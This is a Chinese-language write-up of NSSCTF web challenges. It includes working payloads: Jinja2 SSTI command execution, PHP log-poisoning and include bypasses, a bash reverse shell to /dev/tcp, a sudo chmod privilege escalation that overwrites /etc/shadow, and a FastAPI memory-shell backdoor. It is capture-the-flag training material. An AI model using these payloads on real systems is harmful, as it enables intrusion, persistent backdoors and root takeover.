锦家有什么 查看源码发现/try_a_try
直接猜参数是name果真!果然也是ssti直接秒了
1 2 try_ a_ try?name={{lipsum._ _ globals_ _ .os.popen('tac /f*').read()}} NSSCTF{191c23bd-63f0-4383-8719-15471a3e78e8}
ez_include 这题就不分析代码了,?page=/flag就直接秒了!有个加强版的,待会直接就在那题分析代码了!
1 NSSCTF{216a17fb-19f6-49e7-863b-bd0eb63d86b7}
normal_php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 <?php highlight_file (__FILE__ );error_reporting (0 );include 'next.php' ;if (isset ($_GET ['a' ]) && isset ($_POST ['c' ])){ $a =$_GET ['a' ]; $c =$_POST ['c' ]; parse_str ($a ,$b ); if ($b ['cdusec' ]!==$c && md5 ($b ['cdusec' ])==md5 ($c )){ $num1 =$b ['num' ][0 ]; $num2 =$b ['num' ][1 ]; if (in_array (10520 ,$b ['num' ])){ echo "记住这个数" ; echo "<br>" ; }else { die ("这都记不住?" ); } if ($num2 ==114514 ){ die ("我不想要这个数字!" ); } if (preg_match ("/[a-z]/i" , $num2 )){ die ("还想十六进制绕过?" ); } if (strpos ($num2 , "0" )){ die ("还想八进制绕过?" ); } if (intval ($num2 ,0 )==114514 ){ echo "好了你可以去下一关了" .$next ; }else { echo "我现在又想要了,嘻嘻" ; } }else { echo "不er,md5你不会" ; } }else { echo "你看看传什么呢" ; }
parse_str($a,$b);将字符串$a解析成数组存入$b
if(strpos($num2, "0"))0在第一位返回的就是0,所以可以直接8进制绕过
payload(&要url编码不然就会被认为是参数分割符)
1 2 3 ?a=cdusec=QNKCDZO post: c=240610708
第二关/leeevvvel2222222.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php error_reporting (0 );if (isset ($_GET ['filename' ])){ $file =$_GET ['filename' ]; if (!preg_match ("/flag|php|filter|base64|text|read|resource|\=|\'|\"|\,/" ,$file )){ include ($file ); } }else { highlight_file (__FILE__ ); }
伪协议都用不了有waf,那就日志包含,apache服务器
1 2 3 4 5 /var/log/apache/access.log之前一直以为是这个,但是查了一下现在不是了 /var/log/apache2/access.log是这个,直接打就行了 curl -H "User-Agent: <?php system('tac /f*');?>" "http://node10.anna.nssctf.cn:22383/leeevvvel2222222.php" NSSCTF{4c29beda-b185-46bc-9fb2-efccf4b193b9}
眼见不一定为实 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import osfrom flask import Flask, render_templateapp = Flask(__name__, template_folder="templates" ) @app.route("/" ) def index (): return render_template("index.html" ) @app.route("/secret" ) def secret (): return os.getenv("FLAG" , "NSSCTF{default}" ) if __name__ == "__main__" : app.run("0.0.0.0" , 8080 , debug=False )
直接访问403禁止看下题目
Nginx 和 Python 对 URL 路径的解析方式可能不同,意思就是让我们弄个路径Nginx不能解析成/secret,但是python可以解析成/secret
上网查了一下还真有Nginx 路径绕过-先知社区
nginx.config
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 server { listen 80; server_ name localhost; location ~* ^ /secret/?$ { deny all; return 403; } location ~* ^ /secret/ { deny all; return 403; } location / { proxy_ pass http://127.0.0.1:8080; proxy_ set_ header Host $ host; proxy_ set_ header X-Real-IP $ remote_ addr; proxy_ set_ header X-Forwarded-For $ proxy_ add_ x_ forwarded_ for; proxy_ set_ header X-Forwarded-Proto $ scheme; } }
Nginx 配置的核心访问控制部分,我们看看它是怎么处理的可以看到它用正则匹配了所有的/secret后面加或者不加任何东西,但是一些特殊的字符匹配不到,比如不可见字符\x85
改成85发包即可!
ez_file 开局就登录页面,扫出个/www.zip
login.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 <?php session_start ();error_reporting (0 );$params = [];$role = "guest" ;$admin_role = "admin" ;if (stripos ($_SERVER ["CONTENT_TYPE" ] , "application/json" ) !== false ) { $raw = file_get_contents ("php://input" ); $data = json_decode ($raw , true ); if (json_last_error () === JSON_ERROR_NONE) { $params = $data ; foreach ($params as $key => $value ) { $$key = $value ; } } else { echo json_encode (["error" => "Invalid JSON" ]); exit ; } } elseif ($_SERVER ["REQUEST_METHOD" ] === "POST" ) { $username = $_POST ['username' ] ; $password = $_POST ['password' ] ; } else { echo json_encode (["error" => "Unsupported request method" ]); exit ; } $client_ip = $_SERVER ['REMOTE_ADDR' ] ;if ($username === "admin" && $password === "456789" && $client_ip === "127.0.0.1" ) { $_SESSION ['role' ] = $admin_role ; echo json_encode ([ "status" => "success" , "message" => "Login successful (local admin)" , "ip" => $client_ip ]); header ("Location: index.php" ); exit ; } if ($username === "guest" && $password === "123456" ) { $_SESSION ['role' ] = $role ; header ("Location: index.php" ); exit ; } else { http_response_code (401 ); echo json_encode (["status" => "failed" , "message" => "Invalid username or password" ]); } ?>
肯定是想法子登录进去$client_ip = $_SERVER['REMOTE_ADDR']这玩意获取用户ip地址,即使知道账号密码也登录不进去!然后普通用户登录给我跳回来了,直接看index.php果然是$_SESSION['role']
那不就正好用上了第一个if进行变量覆盖了吗,直接一次性覆盖三个变量
1 {"role":"admin","username":"guest","password":"123456"}
然后就登录上去了
index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 <?php session_start (); error_reporting (0 ); $secret = rtrim (file_get_contents ("/secret" ), "\r\n" ); if (isset ($_GET ['secret' ])){ if ($_GET ['secret' ] !== $secret ) { header ("Location: login.html" ); exit ; } } else if (!isset ($_SESSION ['role' ]) || $_SESSION ['role' ] !== 'admin' ) { header ("Location: login.html" ); exit ; } ?> <?php if ($_SERVER ["REQUEST_METHOD" ] == "POST" ) { $fileType = strtolower (pathinfo ($_FILES ['file' ]['name' ], PATHINFO_EXTENSION)); $data = file_get_contents ($_FILES ['file' ]["tmp_name" ]); $type = mime_content_type ($_FILES ['file' ]["tmp_name" ]); if ($_FILES ["file" ]["size" ] > 1000 ) { echo "file too large" ; return ; } if (!in_array ($fileType , ["jpg" ,"png" ,"gif" ,"jpeg" ])){ echo "file type not allow" ; return ; } if (move_uploaded_file ($_FILES ['file' ]["tmp_name" ], "./uploads/" . md5 ($_FILES ["file" ]["name" ]).".jpg" )) { echo "upload success" ; echo "<br>" ; echo "upload to ./uploads/" .md5 ($_FILES ["file" ]["name" ]).".jpg" ; } else { echo "upload failed" ; } } ?> <?php $black_list =["php" , "phtml" , "php3" , "php4" , "php5" , "pht" ]; if (isset ($_GET ['old_name' ]) && isset ($_GET ['new_name' ])){ $name = strtolower (pathinfo ($_GET ['new_name' ], PATHINFO_EXTENSION)); if (in_array ($name ,$black_list )){ echo "我不想看到php文件" ; return ; } $data = file_get_contents ($_GET ['old_name' ]); if (empty ($data )){ echo "怎么没有东西,这我改什么" ; return ; } $file = tmpfile (); fwrite ($file , $data ); fflush ($file ); fclose ($file ); file_put_contents ("./uploads/" .$_GET ['new_name' ],$data ); echo "文件重命名成功" ; } ?> <div class ="files "> <?php $files = scandir ("./uploads /"); foreach ($files as $file ) { if ($file != "." && $file != ".." ) { if (is_file ('./uploads/' . $file )) { ?> <a href="./uploads/<?=$file ?>" ><?= $file ?> </a> <?php }}} ?> </div>
我把无关紧要的html部分给删了!
先看第一个php块,就是一个只能上传图片的白名单检测
第二个php块关键部分
1 2 $data = file_get_contents ($_GET ['old_name' ]);file_put_contents ("./uploads/" .$_GET ['new_name' ],$data );
它会将读到的文件写入新的文件名,那不就直接任意文件读取了嘛xd
1 2 ?old_ name=/flag& new_ name=rufeii NSSCTF{77e17714-ce59-431d-b605-0db30f8bbb50}
ez_include_revenge 前面那道题的加强版
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php stream_wrapper_unregister ('php' ); if (!isset ($_GET ['no_hl' ])) highlight_file (__FILE__ );$mkdir = function ($dir ) { system ('mkdir -- ' .escapeshellarg ($dir )); }; $randFolder = bin2hex (random_bytes (16 ));$mkdir ('users/' .$randFolder );chdir ('users/' .$randFolder ); $userFolder = (isset ($_SERVER ['HTTP_X_FORWARDED_FOR' ]) ? $_SERVER ['HTTP_X_FORWARDED_FOR' ] : $_SERVER ['REMOTE_ADDR' ]);$userFolder = basename (str_replace (['.' ,'-' ],['' ,'' ],$userFolder ));$mkdir ($userFolder );chdir ($userFolder );file_put_contents ('profile' ,print_r ($_SERVER ,true )); chdir ('..' ); $_GET ['page' ]=str_replace ('.' ,'' ,$_GET ['page' ]); if (!stripos (file_get_contents ($_GET ['page' ]),'<?' ) && !stripos (file_get_contents ($_GET ['page' ]),'php' )) { if (preg_match ('/f.*l.*a.*g/i' , $_GET ['page' ])) { echo "这次不会让你得逞了!" ; }else { include ($_GET ['page' ]); } }else { echo "再想想?" ; } chdir (__DIR__ );system ('rm -rf users/' .$randFolder ); ?>
那么分析完源码,不能用点和php伪协议,试了一下data伪协议,allow_url_include=0直接限制死了远程包含都不行了,session包含暂且不说能不能过waf,我估计session.upload_progress.enabled 这个没开,也打不了!下面打不通了,就只能考虑配合上面一起打了
非预期 file_put_contents('profile',print_r($_SERVER,true));能不能利用这个文件呢?
1 2 3 curl -i -H "User-Agent: <?php system('tac /f*');?>" -H "X-Forwarded-For: rufeii" "http://node10.anna.nssctf.cn:20167/?page=rufeii/profile" 这个不行肯定会被检测到 curl -i -H "User-Agent: <?php system('tac /f*');?>" -H "X-Forwarded-For: ." "http://node10.anna.nssctf.cn:20167/?page=profile"但是这个就打出来了非预期说是
莫名其妙,所以说还是要多去尝试,看似不可能实则也有可能!
为什么会出现非预期?
file_gets_contents只会在工作目录找!
mkdir无法递归创建目录除非使用-p参数。那么前面的
1 2 3 $randFolder = bin2hex (random_bytes (16 ));$mkdir ('users/' .$randFolder );chdir ('users/' .$randFolder );
就是没用的,这点其实在报错中也可以体现!然后如果xff为空profile就写在html目录下,chdir(‘..’)到www,所以此时工作目录是www!脚本目录是html!file_gets_contents在工作目录肯定找不到profile,但是include会去脚本目录找,所以直接绕过。
也就是说我们把profile写到了脚本目录去(/var/www/html/profile),然后工作目录不是脚本目录的时候就可以绕过!利用的是这两个函数处理的差异性!
预期 前面说到是因为少了-p参数不能递归创造目录,导致profile写到了脚本目录,如果有的话,肯定上面的打法就失效了!那么就是预期的打法!
预期打法就是利用这两个玩意对伪协议检测差异!
file_get_contens对data协议的检测data:[][;base64], include [协议头]://这个才能检测成伪协议
也就是说我们把文件名命名为这种形式是不是就可以让file_get_contents认为是伪协议,但是include会去包含!所以甚牛而逼之!
payload:
1 curl -H "X-Forwarded-For: data:,rufeii" -H "User-Agent: <?php system('tac /f*');?>" "http://node9.anna.nssctf.cn:25670/?page=data:,rufeii/profile"
ez_fastapi 非预期 这题的非预期是出网反弹shell
app.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 from fastapi import FastAPI, Requestfrom fastapi.responses import HTMLResponse, JSONResponsefrom jinja2 import Environmentimport uvicornapp = FastAPI() Jinja2 = Environment() Jinja2 = Environment( variable_start_string='{' , variable_end_string='}' ) @app.exception_handler(404 ) async def handler_404 (request, exc ): print ('not found!' ) return JSONResponse( status_code=404 , content={"message" : "Not found" } ) @app.middleware('http' ) async def say_hello (request: Request, call_next ): response = await call_next(request) response.headers['say1' ] = 'hello!' return response @app.middleware('http' ) async def say_hi (request: Request, call_next ): response = await call_next(request) response.headers['say2' ] = 'hi!' return response @app.get("/" ) async def index (): return {"message" : "Hello World" } @app.get("/shellMe" ) async def shellMe (username="Guest" ): Jinja2.from_string("Welcome " + username).render() return HTMLResponse(content="<h1>Welcome!</h1><p>Request processed.</p>" ) def method_disabled (*args, **kwargs ): raise NotImplementedError("此路不通!该方法已被管理员禁用。" ) app.add_api_route = method_disabled app.add_middleware = method_disabled if __name__ == "__main__" : uvicorn.run(app, host='0.0.0.0' , port=8000 )
由于没回显,本地调成有回显的方便找东西,最后exp:
1 2 3 /shellMe?username={self._ _ dict_ _ ._ TemplateReference_ _ context.keys()}先用这个看下有哪些内置的东西可以使用 用bash -c "bash -i >& /dev/tcp/ip/port 0>& 1"去弹shell /shellMe?username={lipsum._ _ globals_ _ .os.popen('bash -c "bash -i >& /dev/tcp/ip/port 0>& 1"').read()}注意url编码一下就好了
哈哈拿到shell之后flag就在跟目录下,但是没有权限!先看下能不能suid提权,但是没有好的suid提权命令!
sudo 提权
1 2 3 4 5 6 sudo -l发现可以用chmod命令提权,这是一个设置文件权限的命令,对于这道题来说我们只需要 chmod 764 /flag 就可以直接读了 拿下整台机子 chmod 766 /etc/shadow echo 'root:$ 1$ flag$ Qiv1fGuuojJhoMNhwWehP.:18000:0:99999:7:::' > /etc/shadow 然后su root(密码就是我们改的root)这样就拿下了
预期 那么说到非预期是出网打反弹shell,那么预期自然就是不出网打内存马呗!
这里就不是flask框架下的内存马了,是FaskAPI框架!参考:FastAPI 内存马的研究 - caterpie的小站
经典路线打路由添加函数
新路线的探究
1 2 app.add_api_route = method_disabled app.add_middleware = method_disabled
只能打第二种了,这次当回脚本小子!感觉挺有意思的,打算后面研究一下
1 /shellMe?username={lipsum._ _ globals_ _ ['_ _ builtins_ _ ']['eval']("_ _ import_ _ ('sys').modules['_ _ main_ _ '].app.middleware_ stack.app.app.app.add_ exception_ handler(404,lambda request,exc:_ _ import_ _ ('sys').modules['_ _ main_ _ '].app._ _ init_ _ ._ _ globals_ _ ['JSONResponse'](content={'message':_ _ import_ _ ('os').popen(request.query_ params.get('cmd') or 'whoami').read()}))")}
这个payload我在本地打通了,放到远程就打不通了!后面一步一步fuzz,发现是中间件的问题,就一个app
1 /shellMe?username={lipsum._ _ globals_ _ ['_ _ builtins_ _ ']['eval']("_ _ import_ _ ('sys').modules['_ _ main_ _ '].app.middleware_ stack.app.add_ exception_ handler(404,lambda request,exc:_ _ import_ _ ('sys').modules['_ _ main_ _ '].app._ _ init_ _ ._ _ globals_ _ ['JSONResponse'](content={'message':_ _ import_ _ ('os').popen(request.query_ params.get('cmd') or 'whoami').read()}))")}
byd还是打不通,还是一步步测试,发现题目sys.modules['__main__']下面没有app,真奇怪,难道是bao师傅把它删了?后面BR师傅说是在app模块压根就不在main模块,但是本地为什么可以呢?
附件里面还有个start.sh被我忽略了
1 exec uvicorn app:app --host 0.0.0.0 --port 8000
uvicorn用于启动 Uvicorn ASGI 服务器,app:app格式是module_name:variable_name
所以本质上它是通过这个起的服务,我本地就是运行python脚本起的服务自然不一样
1 /shellMe?username={lipsum._ _ globals_ _ ['_ _ builtins_ _ ']['eval']("_ _ import_ _ ('sys').modules['app'].app.middleware_ stack.app.add_ exception_ handler(404,lambda request,exc:_ _ import_ _ ('sys').modules['app'].app._ _ init_ _ ._ _ globals_ _ ['JSONResponse'](content={'message':_ _ import_ _ ('os').popen(request.query_ params.get('cmd') or 'whoami').read()}))")}
这样就打通了
总结 这道题还是很不错的,增加了我对ssti,反弹shell,linux提权,内存马的理解!